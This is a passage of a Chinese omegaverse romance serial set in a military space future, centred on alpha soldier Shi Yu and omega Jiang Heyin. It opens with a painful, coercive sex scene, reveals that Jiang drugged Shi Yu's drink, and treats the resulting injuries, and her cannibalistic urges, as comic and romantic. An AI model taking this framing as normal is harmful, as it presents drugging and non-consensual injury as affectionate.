时与的样子很吓人,她看向自己,除了食欲之外没别的情绪,黑洞洞的眼睛像注视猎物的捕食者一样无喜无悲。偏偏自己身上已经全是她的味道,信息素像注入的毒液,他本能想向她靠近,他想要时与的爱抚。 时与抬起他的腿,好痛,他知道omega在床上吃点苦头是家常便饭,但是从来没人说是这样的,他不想做了,他会死掉,好想逃走。 好痛,他哭:“呜……时与……” “时与……” 哀鸣声像小猫叫唤一样可怜,但稍微移动一点都会被拖回原处,动不了,时与压着他的手像铁钳,好痛,浑身都好痛。 他一直哭到自己完全没了知觉。 —— “稀客。”苏道之坐在自己的办公椅上,姿态放松,笑意浅淡,“好久不见,江指挥官。” 她的对面是通讯器投下的模糊虚影,虚影与她差不多的年纪,身形很魁梧,留了一头银白色的及肩长发,整个画面好像做了些处理,不像平日里看得那么真切。 苏道之笑得没什么诚意,她是头狡猾的狼,江图南不那么喜欢她,也并不愿意与她客套太多,眉头微皱,只言简意赅重复起自己的来意。 苏道之双手搭桥撑在胸前,不咸不淡地从她话里抓了个不重要信息:“哎呀,时间过得真快,您的小儿子竟然都到了这个年纪。” “苏指挥,”江图南皱眉,“我正非常诚恳地与您交谈。” “您一如既往地没耐心。”苏道之说,“这实在是非常为难我,毕竟您一开口就想要我的大校。” “我以为您会欣然同意。”江图南不听她这一套抬价的办法,“毕竟我听说我们刚在新内尔湾有过会议,第八星会逐步开放自己的武器与科技系统,我们上三星则会包揽接下来二百年的基建和物资支持。” “送一位大校过来或许正符合我们协议的条例。” “哦,”苏道之说,“但你选的这个不行……不过我有个小女儿也是差不多的年纪,不如换个人,我把她送给你?” “也是alpha,有点难搞,正好您来帮我训一训。” “婚姻是件好事,为什么不直接与我家结对子?嗯?”苏道之微笑,对江图南摊手,“怎么样呀老江,这是不是更好?” 江图南说:“滚。” —— 再醒过来时,江鹤吟头顶是一片白光。 还以为到了天堂,他躺在病床上,身上缠着绷带,瓦数过大的格栅灯正照着他,这里太亮,有点不舒服,于是他眯起眼睛想转过头,然而脖子被包得严严实实,僵着没办法动。 这里是……? 时与的声音突兀响起:“忍一下吧,这的条件再好也就这样。” 江鹤吟吓了一跳。 时与坐在他身边的座位上倚墙发呆,一只手臂的袖子撕下来,大臂挂着针,见他看过来翻了个白眼:“看屁,你下药有数吗,再多加一点咱俩一起死那儿。” 江鹤吟不回答,仿佛先前那段记忆刚刚加载,他看着她,心中无比巨大的委屈翻涌上来,眼眶热热的,他眨眼,眨着眨着开始不断有眼泪向下滚。 时与又骂他。 为什么啊。 一直都这么凶。 “时与……”他嗓子很哑,声音几乎是从喉咙向外挤,呜呜咽咽,“……时与……呜,我好疼……” “我好疼……时与……呜呜……” 时与不说话,偏过头去眼睛向窗外看,一只手撑住下巴。 江鹤吟还在哭,空荡的房间里只有他挠人的哭泣声。 吵,烦。 时与长长出气,抽了几张面巾堆到他脸上,她其实也很生气——她最该生气,但江鹤吟如今的样子太惨,罪魁祸首是自己,想再说他都觉得没立场去骂。 他僵直着身体蒙在一堆面巾纸里继续掉眼泪,一动都不动,一直到把这堆纸洇湿了半边,时与看过去,心里再大的火气都转化成无奈的涓滴,她又叹气,感觉一辈子的气都要在他面前叹完。 小时候陪着爸爸照顾弟弟也好,长大点流浪也好,拉扯时夏也好,进军部里摔摔打打也好……丧门星倒霉鬼这辈子比这疲惫比这困难的时候多了去,但偏偏就是江鹤吟最让人觉得头疼,最叫人感觉难办。 她坐到江鹤吟床上,伸手把方才糊上来的面巾纸拂掉,又拿了一张为他擦眼泪,折了几折,轻轻的,从眼下擦到鬓角。 她说:“你身上有生命维持系统,放心吧,这点程度死不掉。” 他哭得好可怜,时与帮他整理好头发,又拿张纸巾来给他擦鼻涕,终于放轻了声音:“好了,别哭了,我给你申请了医疗仓。” “你是哪家的少爷啊,”她又抽出几张纸捏住他的鼻子,像以前照顾时怀、像曾经照顾时夏,动作也柔和极了,“我都不能用医疗仓呢,你的ID倒是一输入就能成功,好啦,明天就有人来接你走,别哭了。” 江鹤吟真的不流泪了,他眼泪憋回去,可惜身体还在本能的抽噎,手其实还能动,他拉住时与的衣角:“……你怎么……你为什么那样……” “你小时候有没有见过虫子,”时与问他,“比如蜘蛛或者螳螂?” 时与依旧拿纸巾轻轻蘸他脸上的泪痕。 “我的精神体有些异变,有很多好的方面——比如蛛丝能一直保留下来,但相对的,我也要不停地为此摄入能量。” “很不幸,或许你知道这个,有些虫子交配完会把配偶吃掉,这也是它们补充能量的一种方式,而这同样会映射到我身上。啊,不知道你还记不记得我曾经告诉你我和谁都不合适,没骗你,就算你说我们匹配度再好也不行,越高只让我吃得越香。” 时与的口气毫无波澜,低低的,带着点无所谓的幽默味道,像讲一个无关紧要的睡前故事,她看着江鹤吟,两人陷入一阵漫长的沉默。 江鹤吟的手指松开,在床单上磨了磨,然后忽然整只手都抓上去,刚刚才有停止迹象的眼泪又往外涌。 “那怎么办,你标记我了。”他倔得要死,可能是内心不甘,又或许是激素给他的本能,他不想放手,“你标记我了,你什么都做了,我没死,只有你想吃我的时候失败了。” “你要负责……”他话都要说不清,口腔里吐出带着哭声的断续语句,“……你要负责,我如果……呜……我如果怀孕了怎么办,你不能这样……你标记我了……” 时与摸摸他的头发,不说话。 江鹤吟拉着她的衣服,好像商场里没理耍赖的小孩:“你就是标记我了,你要负责任……你不能让我自己回去,我会没有人要……” “时与……时与,”他泪眼婆娑,腺体被她撕咬咀嚼已经受伤,被层层包裹起来,却还是试图用信息素去绕住她,他问:“你真的不喜欢我么?” 他说:“真的不喜欢,还是觉得不能?” 第32章 第 32 章 兄弟你是一个王八… 苏道之轻叹:“第八星平均32天一次小虫潮,104天一次大虫潮,你知道,这里是联盟的前线,而你想要的这位大校虫巢共计清剿一百九十四次,虫母杀了十四只,普通虫族更不计数。” “我倒是好奇,令郎从哪里把她挖出来……哦,我知道了,我好像有印象,是那个二星的小交换生?我好像听过一点。” 她分明还在中年,这时候却像个没劲的老婆子,桌上是热腾腾的茶水,她为自己倒了一杯,垂着眼睛慢悠悠细品:“别的地方我管不了太多,但勉强也知道如今各个军部都是什么样子,说实话我还挺敬佩这位,联盟八颗主星,她应该是唯一一个完完全全以战功升到这个程度的。” “你眼光还不错……不过可惜了,这事没得商量,我还等着兰亭接手我的位置后亲自为她再升一级。” 江图南那边难得沉默,她与面前苏道之模糊的影子对视,明白她是什么意思。 安全区安定的时间长了,就容易有家族扎根盘踞,如今军部里许多人不过是些占位置的太平少爷,真要说起来江图南也是这些家族的一员——不过虽说如此,她却不是一直都平平安安被圈养在这里,这位冷硬的alpha年轻时也曾参加过诸多面对虫族的战役。 前线是什么样子她再清楚不过,那是世界上最可怕的绞肉机,她从绞肉机里出生入死三十四次——经历三十四次连续的虫潮仍能完整回来,实际这已经可以称得上是一项了不起的功绩。包裹起来的左臂还有当初留下的狰狞疤痕,也是这份相较于身边人的特殊经历让她听到时与的情况便直接觉得见猎心喜。 “我们的条约还没有完全确定下来。”她终于放下她标志性的严肃语气,“下一次会议的地点设在逸陵市,让她来,我要瞧瞧她。” 苏道之吹吹茶水,口气很淡:“不好意思呢,如果她想去就让她亲自对我说,您是谁呀,怎么轮到您来安排我们第八星的事。” —— 江鹤吟的病房只剩两人的心跳和呼吸。 时与慢慢将自己的衣角抽出来,说自己完全不动心?当然不是,这怎么可能,她的失态肉眼可见,都这样了还硬说不喜欢,嘴也太硬。 她只说:“最终得出的结果都一样,这没什么差别。” “不一样。”江鹤吟说。 他看着时与,眼睛里水盈盈,嘴巴无意识地微微张开,他想听时与的答案,然而一直到他将嘴巴紧抿成一条线,时与也依然是那副半闭着眼睛拒绝交谈的样子。她一动不动坐在那里,像一具风化的尸体。 ——其实这也是一种回答,而且他已经知道结果。 为什么会这么别扭? “不用等到明天找别人来,”他说,“有人可以送我回去,我可以现在就让他们把我带走,但不保证从此以后再也不找你的麻烦。” 时与说:“可以。” 江鹤吟眼泪收回去不哭了,也不像方才那样满目委屈,眼睛和鼻尖还很红,脸上有没擦干的泪痕,表情却变了,好像他的爱意在方才已经消散无踪。 “好,”他说,“但我要你现在来亲我。” 他和时与对视。 时与很顺从,她本就坐在他身边,闻言俯下身去吻他的眉心,江鹤吟皱眉偏过头:“我不是小孩。” 可以。时与并不犹豫,依言又向下亲吻他的嘴。 他的嘴巴很软,可惜昨天也被她撕咬得很难看,嘴唇上有硌人的血痂,她轻轻点过,江鹤吟任由她蜻蜓点水似的碰过一遍,嘴巴对她微微张开,伸出一小截舌尖,眼睛里竟有挑衅。 时与这下倒是停住,肉眼可见地犹豫起来。 他们离得很近,两人的呼吸都缠在一起,能感觉到她紧张,江鹤吟忽然冷笑,几乎迅雷不及掩耳张开嘴猛然咬住她的嘴唇向下撕。 时与:???? 江鹤吟身上的伤口被包裹的严严实实,看他从被子里露出来的部分就像在看半个木乃伊。此刻木乃伊暴起咬人,用的力气不小,被咬住的时候有些痛,但时与当时更多的是懵,他紧紧咬着一点都不松嘴,像在报复时与昨天的所作所为。 时与瞪大眼睛看他,看他的目光很震撼,但是并没有躲开,就停在那里任由他咬,甚至顺着他换了个更方便他发力的角度。江鹤吟的牙齿一点都不锋利,小嘴像个老虎钳,时与觉得肉都要被他钳下来,结果还是一点血腥味都尝不到。 她扯扯嘴角,突然就觉得想笑。 她真笑出来了。 根本就没忍住,她一点都不怕疼,脑子里其他的情绪在此刻忽然飞远,只觉得两人动作和姿势应该很滑稽,鼻腔里断断续续向外出气,笑意扑打在江鹤吟的脸上。 江鹤吟瞪她,又咬了一会儿终于松开嘴。时与还在笑,一直笑倒在他身上,把脸埋在他脖颈之间,怕再压到他的伤口,笑得很克制,身体抖得轻轻的,半晌才抬起头,笑说:“江鹤吟,王八也这么咬人。” 江鹤吟说:“你很高兴吗?” 时与垂下眼睫,终于克制住,为什么会这样呢?她不太想去探究,只是忽然觉得心思很通畅,点头道:“是。” “呵呵,”江鹤吟曲起膝盖,顶顶她的小腹,又顶顶她的腿间,“看来你的嘴还是不如你的口口硬。” 这次阿斯克勒的驻守无人伤病,于是江鹤吟占了最好的病房和最大的床,时与翻过身躺在他身侧,离他远了点:“奇怪啊,你一开始是这样的吗?怎么回事,现在怎么乱七八糟什么都讲。” 江鹤吟不说话了,他还是那副不高兴的神情,板着一张脸,不知道在跟谁重复,对着天花板喃喃低语:“你喜欢我,我这样咬你你都能硬,你就是喜欢我。” “对啊。” 时与回答得很直接,她似乎已经调整过来,神态与往常无异,也平躺下,和他一样的姿势,看上头晃眼的灯。 她轻声说:“对不起啊。” 江鹤吟问:“为什么你昨天即使丧失理智最后也没有杀了我,我们互相喜欢,有什么不行?” 时与说:“对不起。” “时与!”他咬住嘴唇,眉毛皱在一起,忽然叫得很大声,“你不许躺在我旁边,你过来!” 时与于是又翻过来撑起身,他说什么就是什么,对他唯命是从似的坐起来看他,江鹤吟说:“近一点。” 他包得严实,很难移动,眼睛里好像冒火,于是时与又将自己的脸送过去,江鹤吟果然凶巴巴张口咬住她的脸颊,他的牙齿有一点颤,信息素绕着她的鼻尖和腺体转转来转去,一条腿抬起来,轻轻夹到她的腰侧。 时与默不作声任由他咬,然而见他这样做却忽然伸出手,两指伸到他嘴巴里,撑住两排牙齿掰开,她挪开脸结束这个任他出气的状态,把他的腿按回去。 江鹤吟呜咽两声,像受了天大的委屈,又开始流泪,时与看着他,无奈到几乎有点无力,脸颊钝钝的痛,她忽然说:“其实我还算有一些假期。” 她把手撤出来,又开始给他擦眼泪,用的手劲很大,不知道心里在想些什么,手上的茧子磨得江鹤吟眼下生疼。 眼睛随意聚焦在他额前落下来的发丝,她不去看江鹤吟的表情,就这么自顾自开始安排:“现在……其实阿斯克勒昨天就查不出别的毛病了,剩下的时间倒是可以请假……真是的,不过看样子你还得先躺一会儿才行。” 江鹤吟原本还要哭,和时与犟了这么久,眼睛都快磨出先流泪再说话的条件反射。谁想到耳边听到的话风却突然变了,不再是拒绝,他反倒觉得难以置信。 他呆呆的,眼眶里剩下的眼泪滚下来,又被时与刮走,嘴唇嗫嚅几下,最终只发出个傻蛋似的“哎?” “怎么了?”时与懒得再去拿纸巾,索性在他这张白床单上抹抹手,“你都哭了这么久了,怎么还这么多泪啊,omega是水做的没错,但是这是不是也太多了。” 江鹤吟的眼泪还在滚,他挤眼睛想把泪憋回去,说:“你要和我回第二星吗?” “不要得寸进尺,”时与说,“我没那么说吧,假期结束我就老老实实回来。” “那你不要跟我结婚?” 时与又开始笑,她说:“哎呀,你这么喜欢我,为什么非要我去二星,不到第八星来?” 江鹤吟愣愣地盯着她的眼睛看。 “真的?”他问,“真的吗,只要我来第八星?” “当然可以!”他说,“那你答应吗?我喜欢这儿,当然可以!” 第33章 第 33 章 所以我们现在是什么关系…… 从二星移居到八星还乐颠颠的挺高兴,时与觉得猜不透。与其说能做出这种决定的人脑干缺失,不如说是整个中枢神经系统只剩了个脑干活着更贴切,反正她是无论如何都没办法理解这个脑回路。 姜澜拎着时与的后衣领把她按在墙角——一个特战部祖传的训人地点。时与好久没正经当过这个站在墙角上的角色,有点出神,一时竟然还有点不习惯。 她老老实实站着,垂着手,盯着走廊的转角不小心就走了神,瞳孔慢慢放大,目光也开始涣散。姜澜对她这发呆的样子可太熟,一巴掌又扇到她头上:“你心里还有数吗?” 时与:“……呃啊!” “这是怎么回事,”姜澜拿着江鹤吟的报告,对时与这幅死猪不怕开水烫的架势气得牙痒痒,“时与,疯了是吗,你要把性过激的犯罪条目都做一遍?还上来就挑一个二星权贵家的用,玩这么刺激的?你是做事不计后果的小混混吗?有意思吗?” 她好久没挨姜澜的骂,心里直呼冤枉但又不敢出声,出声能说什么?说她是无辜的,原本只是想好心收留江鹤吟一晚,没想到对方先勾引她?苍天,简直不敢想这话说出来有多可怕。 检查报告卷成一个纸筒对着她的鼻尖,时与向后缩脖子,祈祷姜澜给她留点面子,别把她拖到人前去揍,闭上眼睛等着挨打。 —— 时与打了个报告送江鹤吟回来,又在病房里被姜澜半路抓出去,留下江鹤吟自己待在医疗舱,又被从医疗舱推走落单。 他身上的伤情与这段时间照顾的伤患一样,要说的话都是没什么技术含量的皮肉伤,因而在里头不用躺多久很快就好得七七八八。原本来第八星分明担任的是医生的角色,然而此时也就只能穿着一身病号服半躺在床上无聊地玩指甲,一通检查后身上的身份牌也换了,性别从beta变成omega。 不知道有什么事,母亲难得给他发了通讯,可惜他觉得现在的样子最好不要见人,他甚至从阿斯克勒返回时连家里来的那些人都没通知,也不知道他们在哪,估计现在还在哪个角落等他的消息。 家里来的那些人无所谓,但母亲那边不敢不回复……江鹤吟搜肠刮肚给自己找了理由说在忙,母亲那边也不坚持,直接发来了一些文件,对江鹤吟说:[下次会议地点在二星,逸陵市,让时与申请来参加。] 唔,会议…… 江鹤吟鼓起嘴巴看看门口,病房和走廊都安安静静的,估计时与还暂时没有回来的迹象,于是他先偷偷摸摸将文件打开欣赏——母亲给他发正式的会议文件,这可是第一次,他还从来没看过这些东西呢,总之就让他先替时与看看这里边长什么样。 会议文件结构很严谨,一句话分成三段来写,内容相当冗长,分明都说alpha们天生不那么有耐心,看来工作的时候正常,只有哄omega的时候会犯这种毛病。发来的文件看了一半,他大致知道这是些什么事情,走廊里传来脚步声,江鹤吟动动鼻子,把文件关上。 时与推开门走进来,侧边脸颊莫名压了一块纱布棉垫,表情臭烘烘的,江鹤吟坐好,胳膊和腿伸直,拖着声音小猫似地、黏糊糊地叫:“时与——” “亲亲我。”总之其他事情先放在一边,他抬起头闭上眼睛,等着时与来投喂一个几小时不见的重逢亲吻。 时与关上门走近他那张病床,看着他的脸,冷笑一声并不说话,捏着他的鼻尖往上提。 江鹤吟抓着她的手腕发出含混不清的抗议声,呜呜又叫起痛来。时与放手,江鹤吟低头揉揉鼻子:“干嘛对我撒气……” 这都是因为谁啊! 时与不爽,坐到他身边捏过他的被角往外扯:“你真好意思……怎么还在病床上?” 江鹤吟又咿咿呀呀叫,他打掉时与的手让她不许动,确认保护好自己的被子后立刻拢起头发,低着头,把脖颈往他眼前凑。 “还有伤呢,看到没有。” 虽然他们已经进行过一些深入的交流,但按理说还是不应该乱看omega这种隐私部位,时与下意识向后躲了一下,听江鹤吟叫了声“喂”,这才猛然惊觉自己的动作很没必要,终于把目光聚焦过去。 白嫩的后颈上还留着几块没掉痂的伤,从他这个动作角度能明显看到他背后脊骨的凸起,挺漂亮,但时与左看右看也找不出有什么不对,心中方才挨了顿打还略有憋闷的情绪全然化成疑惑。 ……所以这是哪里出问题,还值得他躺在这休养? “好严重的,”江鹤吟说:“我的伤都没好,你刚才竟然还又欺负我,好疼,你看这里还有好大的伤……” 时与:“……?” 时与震惊地戳了他颈后一下:“你说这个血痂?结了痂还疼?这有我指甲盖大吗,我现在给你抠掉怎么样?” 江鹤吟一缩脖子:“噫呃!” 他又开始脸红。 时与:“……” 死手,乱摸。 时与沉默。 两人间的气氛其实略有点诡异,也说不上来为什么,江鹤吟这人看着柔柔弱弱,但实际精神内核倒是挺强,想要的东西到手,他几乎立刻就完全沉浸到了一种恋爱的氛围里,也不管时与的反应,反倒是衬得这位alpha行动间有些束手束脚。 时与这半天暗自复盘了很多次,好像当时只说“假期陪他”,不记得自己有答应过“和他在一起”之类的话。他那些所谓的结婚论调也分明都已经反驳,但这家伙就摆了这么一副热恋的鬼样子,搞得她都不知道该从何处下口去说。 偏偏该死的是她不能现在再开始疏远他,毕竟刚刚你来我往扯了那么久,过了一天就又开始回避——alpha肯定是不能这样的,alpha肯定不可以这样忽冷忽热对待人家。 她进退两难,虽然精神上觉得莫名其妙,身体倒是半推半就地配合起他来,她坐在江鹤吟身边看着他兀自脸红害羞,想不出这种情况应该做点什么,只好又开始发呆。 身上有点痛,真是的,分明上次见面姜澜还鼓励她说八星小天才配谁都绰绰有余,怎么今天打她这么实在。 好吧她其实知道原因,江鹤吟的检查情况确实有点……呃,显得她很变态。但那又不全是她的错,她有什么办法,要怪只能怪自己太没防备什么东西都往嘴巴里塞,仔细想想一支营养液再怎么做成草味儿也不能做得那么苦,这么明显的不对劲摆在面前她都能中招,简直纯弱智。 思绪渐渐飘远,江鹤吟那边已经独自进行到下个阶段。他伸出手,在她眼前晃一晃,时与抬起眼睛,注意力重新拉回来。 害羞的劲过去,江鹤吟的脸还红红的,现在瘪着嘴又变得很委屈,他把头靠在她肩上:“你还没通过我的好友申请。” 时与:“……我脑机坏了。” “你别胡说八道!”江鹤吟蹭到她怀里哼哼,“哎呀!我之前是真的……我又没有骗你。” 我确实喜欢他吗?时与想,好像是,可是现在的感觉好奇怪。 时与说:“我知道了。” 江鹤吟的长发垂落到她的脖颈间,凉凉的,仿佛银丝一般柔韧又有光彩。 好奇怪,或许是是因为江鹤吟这个角色从来没在她人生的规划中出现过,他闯进来得很突兀,让她突然觉得之前做的所有的安排都要大改。 江鹤吟后颈上确实还有一小块伤口没有复原,因此此时既没有贴抑制贴,也没有戴上omega们该戴的颈环。他身上有带着柑橘果肉那样通透清甜的花香味道,要说的话还有点像茉莉,时与捏住他的一缕发丝,轻轻缠绕在指尖。 别说omega,她甚至没有过和任何性别的伴侣共度余生的打算,这可真是麻烦,江鹤吟是个文艺作品看得太多、脚步从未落在地上的小少爷,什么离谱的事都敢干,但她总不能真借此把人拉到第八星来受苦受难。 好友申请通过,江鹤吟搂住她的脖子翻身,动作很笨,好像没进化完全的猴子吊在树上,也不怕掉下去,实在又笨又大胆。 她伸手托住江鹤吟的身体帮他在自己身上坐起来,江鹤吟立刻回头亲了她一下,凉凉的嘴巴又把她的脑子亲的半秒空白。 ……呃,刚才想到哪来着? 江鹤吟不知道她想到哪,只知道她在发呆,亲了一下才终于把她的注意力拉回来。他和时与贴得紧紧的,脸埋在她颈间猛吸一口,眨眼时睫毛蹭过时与的皮肤,撒娇道:“我暂时有一个小小的要求。” 他比时与见过的任何一个人、甚至任何一个精神体都要粘人,时与抱着他稍有一点不自在,只好假装自己现在是搂着苏鸿那只大豹子的头麻痹心态。 嘴上黏黏糊糊诡计多端,但实际他准备做点正事,母亲刚才发给他的文件被他一股脑全都堆给时与,感觉时与有点僵,他坐直身体,清清嗓子介绍:“有一个在二星的会议,第八星也要出人过去。” 哦,时与收到,但没打开看文件具体的内容,她懒得动脑,只粗略浏览几个标题,问江鹤吟:“怎么回事?” 江鹤吟说:“你看看嘛,你应该关注的,这个和你们的军事还有民生都有关。” 第34章 第 34 章 所以你们是什么关系 时与哪里关心什么军事民生,她只注意到这个会议的地点。 她想,第二星的会议? 好像也可以,这样的话无论情况怎么样,刚好都可以把他先送回去。 江鹤吟在她怀里坐着,催她打开看里面的信息。时与其实很不耐烦看这些文字工作,看了两秒就开始头疼,于是也学江鹤吟的样子,把脸埋到他身上长长叹气,心想要和这位麻烦少爷在一起的话自己的牺牲也不小,看样子碰上他自己不是幸运,果然还是倒霉,真是熟悉的安心。 江鹤吟不满:“你干嘛啊,你快看啊,叹气干什么,不许叹气。” 时与:“文盲,晕字。” 于是江鹤吟跃跃欲试:“我念给你听。” 不要。时与认命继续,她文件其实看得不少,这还不算是最长最繁琐的,纯就是现在是休息日所以看着烦。她自有一套看这些玩意的办法,一目十行囫囵咽下去,只关注需要的信息,有个大概就差不多停下。 会议的时间倒是卡得很合适……她想,如果下次虫潮与预测一样跨度很长,那离开第八星应该也无所谓,就是不知道这个会议具体是什么情况,如果真需要严肃认真地谈判那就很要命,这种任务应该不会落到她身上。 ——不过先试试看倒是没什么,不做主位也可以随行,连随行都不通过的可能性很小,应该是没什么问题。 她不说话,文件开始反馈回来已被读取的信息,江鹤吟知道她在看,于是不去打扰她,只是无聊似的又贴上来。 怕他坐不稳,时与拍拍他的背,他的身体又热又软……好像确实和抱过的其它性别不一样。 做自己不喜欢的工作时走神简直轻而易举,时与不过拍他几下心思就又转到别处去。江鹤吟摸上去真的很软和,会是因为omega身上的脂肪比较多还是什么?也不知道这些脂肪都是怎么分布,切成片说不定会有雪花形? 有雪花纹路的牛肉是非常好吃的,类比一下那omega的口感也绝对很不错,话说这种肉会不会也像牛那样分布在脖子附近,这么想的话上次也尝到了,好像也没觉得怎…… 不对。 等一下。 ……好,打住,停。 肚子里莫名发出咕噜肠鸣,时与闭眼,命令自己的脑子嘴巴以及肠胃都不许再乱馋。江鹤吟哪知道她脑袋里这会儿冒了什么出来,依旧很没有危机感地把脸贴在她胸口,半边脸颊堆起来,看上去比她的胸更软,见她看过来也抬起眼睛对她眨眨:“怎么啦?” 时与说:“你把信息素收一下。” 江鹤吟:“哦。” alpha这话说得又无情又讨厌。 他默默撇嘴,好像很不服气似的慢悠悠把信息素收回去,双手又锲而不舍下移搂住她的腰,软声撒娇:“时与……你看到哪里,看完了吗?” “看完了。”时与口气懒洋洋,说出的话倒是让人不可思议。 时与说:“我不确定这个会议重不重要,不过这个确实不是我擅长做的事。我会申请一下,有批复就告诉你。” 江鹤吟说:“诶?” 这可真好,时与什么时候答应他的要求答应得这么轻易了,于是江鹤吟又觉得很高兴,他并不担心时与的申请可能得不到想要的批复,毕竟这是母亲交代的事情,无论如何肯定会有眉目。 真好,那他很快就可以带时与到家里去。 他舔舔嘴唇,对时与狡黠笑起来,母亲的安排做完,他肚子里忽然冒出新的坏水,露出一点整齐的牙齿尖尖,一下又坐起来,鼻尖碰碰时与的鼻子又贴贴她的脸。 “时与……”江鹤吟口气略有一点兴奋,与他以前期待时与带他出去玩的样子别无二致,他问,“那你接下来是不是没有事情做啊?” 如果要求仍然是出去玩就好了。 时与“噫”一声向后仰,眼前莫名幻视出姜澜方才指着她鼻子的那个病历纸卷。 这个不行。她拉拉江鹤吟的头发,让他先从自己身上起来,江鹤吟不太情愿,并不觉得这有什么不好,甚至手非常不老实地继续去捏她的腰,时与视线下移,对方白嫩的肩颈在她的视野中一览无余。说他好了伤疤忘了疼都不太对,他伤口分明还明晃晃挂在身上没有彻底恢复正常。 毕竟彼此都是初次配对,时与以前也听说过好像可能或许会有这种情况发生,但是……总不至于闹成他们两个这样江鹤吟还能觉得上瘾。 时与不理解,这家伙也未免太离谱了点。 “你真的不想啊?”江鹤吟轻轻扭腰蹭她。和时与想得倒是有点不一样,他并不是什么被打开新世界大门后无所顾忌的天生□□,只是突然觉得现在的情况比较安全,病房、病床、医疗舱……他想稍微试探一下时与在正常环境下的情况,如果在这儿还能咬死他那就算他倒霉。 omega想挑逗自己的alpha比吃饭喝水都容易,江鹤吟柔柔弱弱、充满暗示意味地探手摸她,又向她脖颈之间吐气。 时与终于受不了,她浑身起鸡皮疙瘩,把他从自己身上撕下来,想找个什么除味剂对他仔仔细细喷一喷。 omega都这么刺激? “有一件事我希望你能郑重考虑,”她站起身,双手托住他的腋下抱小孩似的举着他,把他往病床上送。 她说:“抬头,监视器在右上角,我可以配合你的工作,但开始表演之前要不要先给他们打个招呼。” 江鹤吟脚尖点着地,本来还在挣扎,闻言动作一下子顿住。他只动眼睛,胳膊“呼”地抬起来,臂弯里埋住半张脸,果然看到天花板右上角上有属于监控器的红光。 时与举着他,把他对着那监控器晃了晃,就见他先是停下动作,然后脸腾一下红了,连脖颈都像煮熟似的透出一片粉色,烧得头顶都快冒烟。 时与想:这肉一定嫩得不得了。 时与说:“哈哈哈哈哈哈哈哈哈。” 江鹤吟终于偃旗息鼓,她举着他,把他放到床上埋起来,然后用消毒完全的被子将他的头脸都一并盖住。江鹤吟一动不动,挺尸似的躺在那儿,时与心说原来他是根本没看到监控,对他道:“哎呀少爷别担心,没事啊,什么都看不出来。” 被子不回应。 时与说:“有想吃的东西吗,我出去给您拿点?” 被子不动,又白又松软。 时与:“我走啦?” 江鹤吟把手伸出来,一把抓住她的衣角,向里勾勾扯扯。 时与:“哈哈哈哈哈哈哈哈。” 掀开被子露出一张陷在枕头里的、粉红色的脸,时与这下倒是又真情实感觉得他可爱了,俯下身与他蹭蹭脸颊,说:“好啦,没人会看到的,别害羞啦。” —— 有人看到。 不仅有人看到,这段录像甚至爬上了指挥官的桌面。 时与觉得好崩溃,她垂着头站在苏道之面前,第无数次在心里骂他们上层人滥用职权搞八卦真的很讨厌。 苏道之把录像暂停,倒还是面不改色,开口却说起别的事,她说:“你上午递了一份报告上来,怎么忽然想起来要去这个会议呢,我记得你不喜欢这些事的。” 时与低头:“呃……” 苏道之很和善,指着录像中那个银发的小人:“因为他?” 时与把头低得更低,莫名觉得羞愧,说:“是的。” 呵呵,苏道之看向江鹤吟,画面里他正攀在时与的身上,笑意吟吟,不知与她做什么耳语。 她心中冷哼,心说江图南也真够豁得出去,竟然能让自己的小儿子做这种事,实在可笑至极。 她微笑,问时与:“知道这是谁家的小公子吗?” 面前alpha分明站得笔直,此刻却莫名显得蔫头搭脑。 时与说:“我不清楚。” 苏道之:“没有猜测?” 时与说:“……我听说二星有一位江指挥官。” 苏道之笑起来,她关掉桌上的投影,两个看起来浓情蜜意的小人消失无踪,她重新拿起一份文件,看起来像是终于准备放过这个话题。 “你有猜测,这很好。” “这是第八星与上三星预备签订的协议,由联邦中央那位执政官牵头提议,第一次会议在第八星的新内尔湾,或许你有所耳闻,那次我让兰亭带了苏鸿过去。” 时与点头,对这件事有印象,苏鸿当时临时受了派遣,最后留她和江鹤吟一起逛了个巨大的游乐园。 苏道之说:“你当然可以随行……毕竟这不能说与你完全无关,你是我们的将星。” 时与松了一口气,立正应是。 她又有点听不出这位指挥官的喜怒,只不过反正对方答应下来,那这件事就问题不大,就算有错也还有转圜的余地。 苏道之问:“要带上家人吗,比如你的时夏弟弟。” 时与沉默。 她说:“苏鸿会帮我照顾他的,就不再占用一个名额。” “哦,那也是。”苏道之说,她将文件推到桌前,为自己斟了杯茶水,眉目看上去比方才更舒展,“这很好。” 苏道之说:“去吧,我知道你或许没有做这些事情的经验,不过我相信兰亭会帮你处理好,如何,你觉得呢?你们,阿鸿还有你弟弟,都会相处得很愉快。” 第35章 第 35 章 谈恋爱就要换头像换背景…… 什么叫大家都会愉快呢? 时与半躺在舱里,翘着脚看正面的挂饰。她和苏兰亭相处的如何姑且不说,但时夏和苏鸿显然是很愉快的,苏鸿是不打仗就几乎能拒绝一切安排的二世祖,指挥官那边前几天又忽然给时夏拨了假期,这下两人简直立刻玩得浓情蜜意。 时夏刚发了一张照片过来,两个人正一起窝在苏鸿家的沙发上。时夏在比耶,苏鸿则戴着一副大眼镜,穿了个奇丑无比的衣服坐在旁边,见他拍照向这边看了一眼,估计眼镜里头又是什么游戏。 时夏问:[姐姐,我能在这里住下吗?] 时与说:[随便你。] 时夏:[小狗摇尾巴.jpg] 时夏:[小狗比心.jpg] 时与心想不让你住你也肯定不听我的话呀,转而又看着他刚发过来那张照片出神,思考是不是自己也该出去找个房子,军部的宿舍确实又小又破又挤,娇气的弟弟理所当然不会喜欢住在那里。 她正在前往第二星的星舰上,军部的太子很低调,出门没搞什么大张旗鼓的排场,一艘星舰里只带了十几人随行,其中有共事过的,也有陌生面孔,时与并不全都认识。 军部很大,不管待了多久也没办法认全所有的人,甚至于她和苏兰亭本人都不怎么熟悉,两人只见过寥寥几面,她本来预备青年期结束就退役,因而也不太在意这位未来的上司,与她不过萍水相逢点头之交的关系。 江鹤吟并没有和她在一起,他和他家里那群人一起待在自家的航空艇上。这家伙很可爱,他自觉已经算时与的家属,可惜到这种正经时刻却发现自己可怜可悲无名无份,挺难过,从第八星回第二星要走大约十三天,他一天要发百多条信息过来打扰她,感觉好像略有点分离焦虑。 时与终于做个人,她没再把江鹤吟的消息接到AI的智能回复去敷衍,尽量让消息都做到已读已回,偶尔也给他分享一点东西过去。 星舰上过得很无聊,她很少出这种长时间的差,除了每天做些日常的训练就是躺着吃喝睡觉以及给江鹤吟发回信,这感觉其实有点闷,她确信自己做不来这种长途跋涉的工作,再好的人在星际间多跑几趟都会变成大废物生锈报废。 